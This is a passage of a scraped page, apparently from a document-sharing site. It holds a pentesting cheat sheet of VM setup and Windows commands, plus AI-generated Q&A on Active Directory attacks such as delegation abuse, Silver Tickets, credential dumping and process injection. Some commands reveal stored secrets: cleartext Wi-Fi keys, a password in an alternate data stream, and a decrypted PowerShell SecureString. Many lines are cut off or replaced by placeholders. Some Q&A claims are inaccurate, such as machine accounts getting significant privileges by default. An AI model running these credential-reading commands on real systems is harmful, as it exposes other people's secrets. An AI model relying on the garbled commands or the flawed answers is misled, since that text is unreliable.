4. Set-VM "Kali Linux" -EnhancedSessionTransportType HVSocket

5. Power up VM.

VirtualBox

DHCP
Configure DHCP in VBox:

Cmd > "C:\Program Files\Oracle\VirtualBox\[Link]" dhcpserver add --netname intnet --ip


Time Sync
Disable time synchronization with host OS (useful when syncing Kerberos time with ntpdate ):

Cmd > VBoxManage setextradata "Kali Linux" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDi

Shared Folders (depreciated)


Mount:

$ mkdir ~/Desktop/Share
$ mount -t vboxsf /mnt/share-host ~/Desktop/Share
Or (if mounted from VBox settings)
$ ln -s /mnt/share-host ~/Desktop/Share

$ sudo usermod -aG vboxsf `whoami`


$ sudo reboot # or re-login

Automount:

$ crontab -e
"@reboot sleep 10; mount -t vboxsf /mnt/share-host ~/Desktop/Share"

VMWare

Shared Folders

[Link]

Mount:

$ sudo mkdir /mnt/share-host


$ sudo mount -t [Link]-fuse .host:/share-host /mnt/share-host

Windows

Processes
Kill process from cmd:

Cmd > taskkill /IM:[Link] /F

Secure Delete

cipher

Cmd > cipher /w:H

sdelete

File:

Cmd > sdelete -p 7 [Link]

Directory (recursively):

Cmd > sdelete -p 7 -r "C:\temp"

Disk or partition:

Cmd > sdelete -p 7 -c H:

System Perfomance

Cmd > perfmon /res

Network

Connections and Routes

Cmd > netstat -b


Cmd > netstat -ano
Cmd > route print [-4]
Clean Cache

Cmd > netsh int ip reset


Cmd > netsh int tcp reset
Cmd > ipconfig /flushdns
Cmd > netsh winsock reset

Cmd > route -f


[Cmd> ipconfig -renew]

Hide/unhide computer name on LAN:

Cmd > net config server


Cmd > net config server /hidden:yes
Cmd > net config server /hidden:no
(+ reboot)

Disable NIC

wmic nic get name, index


wmic path win32_networkadapter where index=<INDEX_ID> call {disable|enable}

Symlinks

Cmd > mklink Link <FILE>


Cmd > mklink /D Link <DIRECTORY>

Wi-Fi Credentials

[Link]

> netsh wlan show profiles


> netsh wlan show profiles "ESSID" key=clear

Installed Software
PS > Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*

ADS

PS > Get-Item '[Link]' -Stream *


PS > Get-Content '[Link]' -Stream Password
Or
PS > type '[Link]:Password'

.msc

[Link] -- Local Security Policy -- «Локальная политика безопасности»


[Link] -- Local Group Policy Editor -- «Редактор локальной групповой политики»
[Link] -- Local Users and Groups (Local) -- «Локальные пользователи и группы (локально)»
[Link] -- Certificates - Current User -- «Сертификаты - текущий пользователь»

Administrative Tools

Cmd > [Link] %SystemRoot%\system32\[Link] -- Active Directory Users and Computers


Cmd > [Link] %SystemRoot%\system32\[Link] -- DNS
Cmd > [Link] %SystemRoot%\system32\[Link] -- Group Policy Management
Cmd > [Link] %SystemRoot%\system32\[Link] -- ADSI Edit

KRShowKeyMgr
Run:

Cmd > [Link] [Link], KRShowKeyMgr

PowerShell Secure Strings


Encrypt:

PS > $securePassword = Read-Host -AsSecureString "Enter password"


Enter password: Passw0rd!
PS > $encString = $securePassword | ConvertFrom-SecureString
PS > $encString
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e179d870f4f6374bab8b8d97c5375ed100000000020000
34bd5919a35ceab1b8b2fdfbb31fe53a7aa8d1f9078604400000006f63448217f77956c05e0028dd92c2f2466d180b

Decrypt:

PS > $securePassword = ConvertTo-SecureString $encString -Force


PS > (New-Object PSCredential 0, $securePassword).GetNetworkCredential().Password
Passw0rd!

Permissions
Take own of a directory and remove it (run [Link] as admin):

Cmd > takeown /F C:\$Windows.~BT\* /R /A


Cmd > icacls C:\$Windows.~BT\*.* /T /grant administrators:F
Cmd > rmdir /S /Q C:\$Windows.~BT\

Change ownership of a file:

PS > $Acl = Get-ACL $filename


PS > $AccessRule= New-Object [Link]("snovvcrash",
PS > $[Link]($AccessRule)
PS > Set-Acl $filename $Acl

DISM

TelnetClient

Cmd > DISM /online /Enable-Feature /FeatureName:TelnetClient

BitLocker
Check encryption status of all drives (must be elevated):

Cmd > manage-bde -status

Common questions

Powered by AI

Detecting Kerberos Silver Ticket attacks requires monitoring for unusual service ticket requests, particularly those that involve excessive privileges or come from unexpected user accounts or systems . Network logs and Kerberos event logs can signal anomalies worth investigating. To mitigate their impact, organizations can enforce strict ticket lifetimes, monitor privileged accounts regularly, and implement multi-factor authentication to reduce unauthorized access . Additionally, regular security audits and user behavioral analytics can be effective in proactively identifying and responding to suspicious activities associated with Silver Ticket attacks . Security teams should also ensure consistent and timely patching and updating of their domain controllers to protect against known vulnerabilities .

Abuse of adminCount and AdminSDHolder in Active Directory can lead to persistent domain compromise by allowing attackers to manipulate permissions and retain administrative access. When an account's adminCount is set to 1, it gains special protections, and AdminSDHolder can be exploited by modifying permissions on this container to ensure the changes propagate to all protected accounts every hour . Attackers can grant themselves or backdoor accounts elevated privileges, ensuring they remain even after legitimate security measures attempt to revert changes . This form of abuse allows attackers to maintain a strong foothold within the AD environment over the long term, especially if less familiar security teams are not vigilant about monitoring changes to AdminSDHolder .

Enabling unconstrained delegation in Active Directory environments can lead to critical security vulnerabilities. Unconstrained delegation allows a service to authenticate to any other service on behalf of a user, making it a prime target for attackers if a system with such delegation is compromised . This can facilitate credential theft and lateral movement across the network. Attackers can also abuse this to extract Kerberos tickets and impersonate high-privilege accounts without requiring the actual password, potentially leading to a domain-wide compromise . Moreover, it can be challenging to detect, as the activity can be masked amongst legitimate operations, leaving organizations highly vulnerable .

Mitigating delegation abuse in an organization can be achieved through several strategies. First, auditing the use of delegation across domain controllers is essential to identify and remove unnecessary delegations or revert misconfigured settings. Ensuring that privileged account delegation is minimized and that only necessary accounts are allowed such permissions can reduce potential risks . Implementing monitoring solutions to detect unusual account activities associated with delegation settings can provide real-time alerts for suspicious behavior. Additionally, applying principle of least privilege and making use of security features such as Privileged Access Workstations (PAWs) for administrators can further mitigate risks .

Understanding and monitoring for process injection techniques can significantly enhance an organization's security posture by enabling early detection and response to potential threats. By identifying unusual process behavior, such as unauthorized memory allocation or the use of API functions like VirtualAllocEx and CreateRemoteThread, security teams can detect attempts at injecting malicious code before it can execute . Deploying endpoint detection and response (EDR) solutions that recognize the signatures and patterns of common injection techniques can help in identifying and mitigating these threats swiftly . Moreover, regular training and updates for security personnel ensure that they are equipped to recognize the latest techniques and thus better protect the organization from such exploits .

Combining NTLM relaying with resource-based constrained delegation (RBCD) presents severe security risks within an Active Directory environment. NTLM relaying allows attackers to redirect authentication attempts, typically capturing them in man-in-the-middle scenarios to access other resources with those credentials. When coupled with RBCD, attackers can leverage relayed credentials to impersonate users on systems configured for resource-based delegation, thus escalating privileges without needing direct access to an account's credentials . This introduces new attack vectors for lateral movement and domain compromise, effectively bypassing traditional security measures like firewall rules and network segmentation .

Kerberos delegation abuse can lead to significant security compromises within an Active Directory environment by enabling attackers to impersonate service accounts, thereby gaining unauthorized access to resources. Specifically, resource-based constrained delegation (RBCD) can be manipulated to allow an attacker to specify which users can act on behalf of others, thus escalating their privileges and possibly taking over critical systems . Furthermore, attackers can abuse constrained delegation to perform actions as other trusted accounts, effectively bypassing many of the security boundaries that a domain might have in place .

The SAM (Security Account Manager) database is a critical component in Windows that stores hashed representations of user passwords. Credential dumping attacks, such as using Mimikatz or secretsdump.py, target the SAM to extract these hashes without modifying the database or alerting monitoring systems . The risks associated with credential dumping are significant, as attackers with access to password hashes can conduct pass-the-hash or password cracking attacks, gaining unauthorized access to system accounts, escalating privileges, and potentially compromising the entire network .

Abusing the Machine Account Quota (MAQ) allows attackers to create a large number of new machine accounts in Active Directory without administrator consent if the MAQ is not properly configured or monitored. As these accounts are often given significant privileges by default, attackers can leverage them to escalate privileges, establish persistence, or conduct lateral movements in the network . Moreover, excessive machine creation activities may go unnoticed in environments where logging and monitoring are insufficient, thus compromising the integrity and security of the directory .

Process injection techniques often involve using low-level Windows API functions to allocate memory, write shellcode, and execute it within the context of a legitimate process, thereby bypassing security mechanisms. Common methods include process hollowing, where the legitimate contents of a process are replaced with malicious code, and using functions like VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread to inject and execute malicious payloads within the memory space of another process . By performing these actions within trusted processes like 'svchost.exe,' attackers can evade detection by security scanners looking for anomalies in process behavior .

You might also like